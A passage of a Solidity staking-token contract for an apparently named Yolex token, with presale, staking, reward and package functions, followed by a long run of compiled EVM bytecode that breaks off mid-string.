function assignNewController(address _newControllerAddress) external onlyAdminstrator {
newControllerAddress = _newControllerAddress;
emit AdminChange("confirming new controller address", newControllerAddress);
}
function acceptControllerRights() external {
require(msg.sender == newControllerAddress, "new controller address mismatch");
yolexController = newControllerAddress;
emit AdminChange("New controller address", yolexController);
}
function presale() external payable {
require(msg.value >= salePrice, "sent eth too small");
require(presaleCount < 45, "presale closed.");
uint _amount = msg.value.div(salePrice);
uint _amountToken = _amount.mul(10 ** decimals);
balances[administrator] = balances[administrator].sub(_amountToken);
balances[msg.sender] = balances[msg.sender].add(_amountToken);
presaleCount = presaleCount.add(_amount);
createStaking(_amountToken, prePackage);
}
uint stakingID;
uint packageID;
function createStaking(uint256 _amount,
string memory _packageSymbol
)
public returns(Staker memory) {
RewardPackage memory _package = rewardPackages[_packageSymbol];
require(_amount <= balances[msg.sender], "insuffient funds");
require(!stackers[msg.sender].isActive, "You already have an active stake");
require(_package.isActive, "You can only stake on a active reward package");
uint256 _rewardCap = _amount.mul(_package.rewardCapPercent).div(100);
uint256 _endDate = numberDaysToTimestamp(_package.durationInDays);
transfer(address(this), _amount);
Staker memory _staker = Staker(stakingID, msg.sender, _amount, true, false, now, _endDate, _packageSymbol, 0, _rewardCap, _package.rewardPercent, _package.rewardCapPercent);
stakingID++;
stackers[msg.sender] = _staker;
return _staker;
}
function unstake() external returns(bool success){
Staker memory _staker = stackers[msg.sender];
require(_staker.endDate <= now, "cannot unstake yet");
require(_staker.isMatured, "reward is not matured for withdrawal");
require(_staker.isActive, "staking should still be active");
uint256 _amount = _staker.amountStaked;
balances[address(this)] = balances[address(this)].sub(_amount);
uint256 totalRewards = _amount.add(_staker.rewards);
balances[msg.sender] = balances[msg.sender].add(totalRewards);
stackers[msg.sender].isActive = false;
mintTokens(_staker.rewards);
emit Transfer(address(this), msg.sender, totalRewards);
return true;
}
function distributeStakingRewards(Rewards[] calldata _rewards) external onlyController returns(bool){
for (uint index = 0; index < _rewards.length; index++) {
uint totalRewards = stackers[_rewards[index].stakerAddress].rewards.add(_rewards[index].reward);
if (stackers[_rewards[index].stakerAddress].isActive == true &&
totalRewards <= stackers[_rewards[index].stakerAddress].rewardCap) {
stackers[_rewards[index].stakerAddress].rewards = totalRewards;
if(_rewards[index].isMatured){
indicateMaturity(_rewards[index].stakerAddress, _rewards[index].isMatured);
}
}
}
return true;
}
function indicateMaturity(address _accountAddress, bool status) internal returns(bool success) {
require(_accountAddress != address(0), "the stacker address is needed");
stackers[_accountAddress].isMatured = status;
return true;
}
function createPackage(
string memory _packageName,
string memory _symbol,
string memory _rebasePercent,
string memory _rewardPercent,
uint256 _rewardCapPercent,
uint256 _durationInDays
)
public onlyController returns(RewardPackage memory) {
numberDaysToTimestamp(_durationInDays);
RewardPackage memory _package = RewardPackage(
packageID,
_symbol,
_packageName,
_rebasePercent,
_rewardPercent,
_durationInDays,
_rewardCapPercent,
true
);
if (rewardPackages[_symbol].isActive) {
revert("package symbol should be unique");
} else {
packageID++;
rewardPackages[_symbol] = _package;
listOfPackages.push(_package);
return _package;
}
}
function numberDaysToTimestamp (uint _numberOfDays) private view returns(uint256 time){
if (_numberOfDays == 3) {
return now + 4 days;
} else if(_numberOfDays == 7){
return now.add(8 days);
}else if(_numberOfDays == 30){
return now.add(31 days);
}else if(_numberOfDays == 60){
return now.add(61 days);
}else if(_numberOfDays == 90){
return now.add(91 days);
}else if(_numberOfDays == 180){
return now.add(181 days);
}
else {
revert("The number of days should be either 3, 7, 30, 60 90, or 180 days");
}
}
function increaseStakingAmount(uint _amount) external returns(bool success){
require(stackers[msg.sender].isActive, "should have an active stake");
transfer(address(this), _amount);
stackers[msg.sender].amountStaked = stackers[msg.sender].amountStaked.add(_amount);
uint256 _amountStaked = stackers[msg.sender].amountStaked;
uint256 _rewardCap = _amountStaked.mul(stackers[msg.sender].rewardCapPercent).div(100);
stackers[msg.sender].rewardCap = _rewardCap;
return true;
}
function deactivatePackage(string calldata _symbol) external onlyController returns(RewardPackage memory){
bytes memory strToByte = bytes(_symbol);
require(strToByte.length > 1, "The package symbol should be specified");
rewardPackages[_symbol].isActive = false;
listOfPackages[rewardPackages[_symbol].id].isActive = false;
return rewardPackages[_symbol];
}
function mintTokens(uint256 _amount) private returns(bool, uint) {
totalSupply_ = totalSupply_.add(_amount);
tokenMintsRecord.push(MintedTokensRecord(_amount, now));
return(true, totalSupply_);
}
function updatePrePackage(string calldata _packageSymbol) external onlyAdminstrator {
prePackage = _packageSymbol;
}
function transferToWallet(uint _amount, address payable _receipient) external onlyAdminstrator returns(bool){
_receipient.transfer(_amount);
return true;
}
receive() payable external {}
} | 0x6080604052600436106101fd5760003560e01c806374e7493b1161010d578063b224904a116100a0578063dd62ed3e1161006f578063dd62ed3e1461081a578063e64a831514610857578063f51f96dd1461086e578063f53d0a8e14610899578063fdea8e0b146108c457610204565b8063b224904a1461074c578063cde27a3514610775578063d73dd623146107a0578063dc803b94146107dd57610204565b8063955b4347116100dc578063955b43471461067757806395d89b41146106bb578063a1488fca146106e6578063a9059cbb1461070f57610204565b806374e7493b1461058e578063775c3e29146105cb578063863ebb2d1461060f578063926ca64f1461064c57610204565b80632def66201161019057806352abd4131161015f57806352abd413146104525780635ba47b731461048f57806366188463146104d75780636645f4151461051457806370a082311461055157610204565b80632def6620146103935780632ff2e9dc146103be578063313ce567146103e9578063347b35801461041457610204565b806319b3ea59116101cc57806319b3ea59146102b35780631f57d294146102dc57806323b872dd1461031957806329735b081461035657610204565b806306fdde0314610209578063095ea7b3146102345780630be2caa61461027157806318160ddd1461028857610204565b3661020457005b600080fd5b34801561021557600080fd5b5061021e6108ce565b60405161022b91906157af565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190614ae7565b610907565b6040516102689190615794565b60405180910390f35b34801561027d57600080fd5b506102866109f9565b005b34801561029457600080fd5b5061029d610b67565b6040516102aa9190615a35565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d59190614a33565b610b71565b005b3480156102e857600080fd5b5061030360048036038101906102fe9190614c17565b610cbe565b60405161031091906159f1565b60405180910390f35b34801561032557600080fd5b50610340600480360381019061033b9190614a98565b611044565b60405161034d9190615794565b60405180910390f35b34801561036257600080fd5b5061037d60048036038101906103789190614d65565b6113f8565b60405161038a9190615a13565b60405180910390f35b34801561039f57600080fd5b506103a8611a84565b6040516103b59190615794565b60405180910390f35b3480156103ca57600080fd5b506103d3611fe5565b6040516103e09190615a35565b60405180910390f35b3480156103f557600080fd5b506103fe611ff0565b60405161040b9190615a35565b60405180910390f35b34801561042057600080fd5b5061043b60048036038101906104369190614d00565b611ff5565b604051610449929190615bb2565b60405180910390f35b34801561045e57600080fd5b5061047960048036038101906104749190614d00565b612026565b6040516104869190615794565b60405180910390f35b34801561049b57600080fd5b506104b660048036038101906104b19190614a33565b612262565b6040516104ce9c9b9a99989796959493929190615a50565b60405180910390f35b3480156104e357600080fd5b506104fe60048036038101906104f99190614ae7565b61242c565b60405161050b9190615794565b60405180910390f35b34801561052057600080fd5b5061053b60048036038101906105369190614b23565b6126bd565b6040516105489190615794565b60405180910390f35b34801561055d57600080fd5b5061057860048036038101906105739190614a33565b612a38565b6040516105859190615a35565b60405180910390f35b34801561059a57600080fd5b506105b560048036038101906105b09190614d00565b612a80565b6040516105c29190615794565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190614bd6565b612b22565b604051610606989796959493929190615b18565b60405180910390f35b34801561061b57600080fd5b5061063660048036038101906106319190614b91565b612ded565b60405161064391906159f1565b60405180910390f35b34801561065857600080fd5b506106616132f6565b60405161066e9190615779565b60405180910390f35b34801561068357600080fd5b5061069e60048036038101906106999190614d00565b61331c565b6040516106b2989796959493929190615b18565b60405180910390f35b3480156106c757600080fd5b506106d06135de565b6040516106dd91906157af565b60405180910390f35b3480156106f257600080fd5b5061070d60048036038101906107089190614a33565b613617565b005b34801561071b57600080fd5b5061073660048036038101906107319190614ae7565b613764565b6040516107439190615794565b60405180910390f35b34801561075857600080fd5b50610773600480360381019061076e9190614b91565b61397f565b005b34801561078157600080fd5b5061078a613a25565b6040516107979190615a35565b60405180910390f35b3480156107ac57600080fd5b506107c760048036038101906107c29190614ae7565b613a2b565b6040516107d49190615794565b60405180910390f35b3480156107e957600080fd5b5061080460048036038101906107ff9190614d29565b613c27565b6040516108119190615794565b60405180910390f35b34801561082657600080fd5b50610841600480360381019061083c9190614a5c565b613d0a565b60405161084e9190615a35565b60405180910390f35b34801561086357600080fd5b5061086c613d91565b005b34801561087a57600080fd5b50610883614113565b6040516108909190615a35565b60405180910390f35b3480156108a557600080fd5b506108ae614119565b6040516108bb9190615779565b60405180910390f35b6108cc61413f565b005b6040518060400160405280600881526020017f596f6c65782e696f00000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109e79190615a35565b60405180910390a36001905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8090615931565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16604051610b3190615725565b60405180910390207f7b153ace0d4d4c7d4f2e3436edb57dff13d9ac515fa402c09c39e958578f753960405160405180910390a3565b6000600154905090565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf8906159b1565b60405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16604051610c879061574f565b60405180910390207f7b153ace0d4d4c7d4f2e3436edb57dff13d9ac515fa402c09c39e958578f753960405160405180910390a350565b610cc6614710565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610d6f57503373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da590615951565b60405180910390fd5b610db78261442b565b50610dc0614710565b604051806101000160405280600f548152602001888152602001898152602001878152602001868152602001848152602001858152602001600115158152509050600587604051610e11919061570e565b908152602001604051809103902060070160009054906101000a900460ff1615610e70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6790615811565b60405180910390fd5b600f6000815480929190600101919050555080600588604051610e93919061570e565b9081526020016040518091039020600082015181600001556020820151816001019080519060200190610ec7929190614757565b506040820151816002019080519060200190610ee4929190614757565b506060820151816003019080519060200190610f01929190614757565b506080820151816004019080519060200190610f1e929190614757565b5060a0820151816005015560c0820151816006015560e08201518160070160006101000a81548160ff0219169083151502179055509050506008819080600181540180825580915050600190039060005260206000209060080201600090919091909150600082015181600001556020820151816001019080519060200190610fa8929190614757565b506040820151816002019080519060200190610fc5929190614757565b506060820151816003019080519060200190610fe2929190614757565b506080820151816004019080519060200190610fff929190614757565b5060a0820151816005015560c0820151816006015560e08201518160070160006101000a81548160ff0219169083151502179055505050809150509695505050505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561107f57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156110ca57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561115357600080fd5b6111a4826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461454190919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611237826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461455890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061130882600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461454190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113e59190615a35565b60405180910390a3600190509392505050565b6114006147d7565b611408614710565b600583604051611418919061570e565b90815260200160405180910390206040518061010001604052908160008201548152602001600182018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114d55780601f106114aa576101008083540402835291602001916114d5565b820191906000526020600020905b8154815290600101906020018083116114b857829003601f168201915b50505050508152602001600282018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115775780601f1061154c57610100808354040283529160200191611577565b820191906000526020600020905b81548152906001019060200180831161155a57829003601f168201915b50505050508152602001600382018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116195780601f106115ee57610100808354040283529160200191611619565b820191906000526020600020905b8154815290600101906020018083116115fc57829003601f168201915b50505050508152602001600482018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116bb5780601f10611690576101008083540402835291602001916116bb565b820191906000526020600020905b81548152906001019060200180831161169e57829003601f168201915b5050505050815260200160058201548152602001600682015481526020016007820160009054906101000a900460ff16151515158152505090506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054841115611776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176d906157f1565b60405180910390fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff1615611806576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fd90615991565b60405180910390fd5b8060e0015161184a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184190615851565b60405180910390fd5b600061187660646118688460c001518861457290919063ffffffff16565b6145a690919063ffffffff16565b905060006118878360a0015161442b565b90506118933087613764565b5061189c6147d7565b604051806101800160405280600e5481526020013373ffffffffffffffffffffffffffffffffffffffff16815260200188815260200160011515815260200160001515815260200142815260200183815260200187815260200160008152602001848152602001856080015181526020018560c001518152509050600e6000815480929190600101919050555080600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040820151816002015560608201518160030160006101000a81548160ff02191690831515021790555060808201518160030160016101000a81548160ff02191690831515021790555060a0820151816004015560c0820151816005015560e0820151816006019080519060200190611a34929190614757565b5061010082015181600701556101208201518160080155610140820151816009019080519060200190611a68929190614757565b5061016082015181600a01559050508094505050505092915050565b6000611a8e6147d7565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180610180016040529081600082015481526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600282015481526020016003820160009054906101000a900460ff161515151581526020016003820160019054906101000a900460ff161515151581526020016004820154815260200160058201548152602001600682018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c265780601f10611bfb57610100808354040283529160200191611c26565b820191906000526020600020905b815481529060010190602001808311611c0957829003601f168201915b505050505081526020016007820154815260200160088201548152602001600982018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611cdc5780601f10611cb157610100808354040283529160200191611cdc565b820191906000526020600020905b815481529060010190602001808311611cbf57829003601f168201915b50505050508152602001600a820154815250509050428160c001511115611d38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2f90615831565b60405180910390fd5b8060800151611d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d73906157d1565b60405180910390fd5b8060600151611dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db7906158d1565b60405180910390fd5b600081604001519050611e1a816000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461454190919063ffffffff16565b6000803073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611e768361010001518361455890919063ffffffff16565b9050611ec9816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461455890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160006101000a81548160ff021916908315150217905550611f748361010001516145ba565b50503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611fd39190615a35565b60405180910390a36001935050505090565b6012600a0a60640281565b601281565b6006818154811061200257fe5b90600052602060002090600202016000915090508060000154908060010154905082565b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff166120b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ae906159d1565b60405180910390fd5b6120c13083613764565b5061211782600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461455890919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055506000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201549050600061220e6064612200600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a01548561457290919063ffffffff16565b6145a690919063ffffffff16565b905080600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080181905550600192505050919050565b60076020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154908060030160009054906101000a900460ff16908060030160019054906101000a900460ff1690806004015490806005015490806006018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123725780601f1061234757610100808354040283529160200191612372565b820191906000526020600020905b81548152906001019060200180831161235557829003601f168201915b505050505090806007015490806008015490806009018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561241c5780601f106123f15761010080835404028352916020019161241c565b820191906000526020600020905b8154815290600101906020018083116123ff57829003601f168201915b50505050509080600a015490508c565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561253d576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125d1565b612550838261454190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516126aa9190615a35565b60405180910390a3600191505092915050565b60003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061276857503373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6127a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279e90615951565b60405180910390fd5b60008090505b83839050811015612a2d5760006128478585848181106127c957fe5b90506060020160200135600760008888878181106127e357fe5b90506060020160000160208101906127fb9190614a33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206007015461455890919063ffffffff16565b9050600115156007600087878681811061285d57fe5b90506060020160000160208101906128759190614a33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff1615151480156129345750600760008686858181106128da57fe5b90506060020160000160208101906128f29190614a33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600801548111155b15612a1f57806007600087878681811061294a57fe5b90506060020160000160208101906129629190614a33565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701819055508484838181106129af57fe5b90506060020160400160208101906129c79190614b68565b15612a1e57612a1c8585848181106129db57fe5b90506060020160000160208101906129f39190614a33565b8686858181106129ff57fe5b9050606002016040016020810190612a179190614b68565b61463b565b505b5b5080806001019150506127ad565b506001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b09906159b1565b60405180910390fd5b8160098190555060019050919050565b600581805160208101820180518482526020830160208501208183528095505050505050600091509050806000015490806001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612bea5780601f10612bbf57610100808354040283529160200191612bea565b820191906000526020600020905b815481529060010190602001808311612bcd57829003601f168201915b505050505090806002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612c885780601f10612c5d57610100808354040283529160200191612c88565b820191906000526020600020905b815481529060010190602001808311612c6b57829003601f168201915b505050505090806003018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612d265780601f10612cfb57610100808354040283529160200191612d26565b820191906000526020600020905b815481529060010190602001808311612d0957829003601f168201915b505050505090806004018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612dc45780601f10612d9957610100808354040283529160200191612dc4565b820191906000526020600020905b815481529060010190602001808311612da757829003601f168201915b5050505050908060050154908060060154908060070160009054906101000a900460ff16905088565b612df5614710565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480612e9e57503373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612edd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed490615951565b60405180910390fd5b606083838080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505090506001815111612f6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f6190615871565b60405180910390fd5b600060058585604051612f7e9291906156f5565b908152602001604051809103902060070160006101000a81548160ff0219169083151502179055506000600860058686604051612fbc9291906156f5565b90815260200160405180910390206000015481548110612fd857fe5b906000526020600020906008020160070160006101000a81548160ff021916908315150217905550600584846040516130129291906156f5565b90815260200160405180910390206040518061010001604052908160008201548152602001600182018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156130cf5780601f106130a4576101008083540402835291602001916130cf565b820191906000526020600020905b8154815290600101906020018083116130b257829003601f168201915b50505050508152602001600282018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156131715780601f1061314657610100808354040283529160200191613171565b820191906000526020600020905b81548152906001019060200180831161315457829003601f168201915b50505050508152602001600382018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156132135780601f106131e857610100808354040283529160200191613213565b820191906000526020600020905b8154815290600101906020018083116131f657829003601f168201915b50505050508152602001600482018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156132b55780601f1061328a576101008083540402835291602001916132b5565b820191906000526020600020905b81548152906001019060200180831161329857829003601f168201915b5050505050815260200160058201548152602001600682015481526020016007820160009054906101000a900460ff16151515158152505091505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6008818154811061332957fe5b9060005260206000209060080201600091509050806000015490806001018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156133db5780601f106133b0576101008083540402835291602001916133db565b820191906000526020600020905b8154815290600101906020018083116133be57829003601f168201915b505050505090806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156134795780601f1061344e57610100808354040283529160200191613479565b820191906000526020600020905b81548152906001019060200180831161345c57829003601f168201915b505050505090806003018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156135175780601f106134ec57610100808354040283529160200191613517565b820191906000526020600020905b8154815290600101906020018083116134fa57829003601f168201915b505050505090806004018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156135b55780601f1061358a576101008083540402835291602001916135b5565b820191906000526020600020905b81548152906001019060200180831161359857829003601f168201915b5050505050908060050154908060060154908060070160009054906101000a900460ff16905088565b6040518060400160405280600381526020017f594558000000000000000000000000000000000000000000000000000000000081525081565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146136a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161369e906159b1565b60405180910390fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660405161372d90615764565b60405180910390207f7b153ace0d4d4c7d4f2e3436edb57dff13d9ac515fa402c09c39e958578f753960405160405180910390a350565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561379f57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156137ea57600080fd5b61383b826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461454190919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506138ce826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461455890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161396d9190615a35565b60405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613a0f576040517f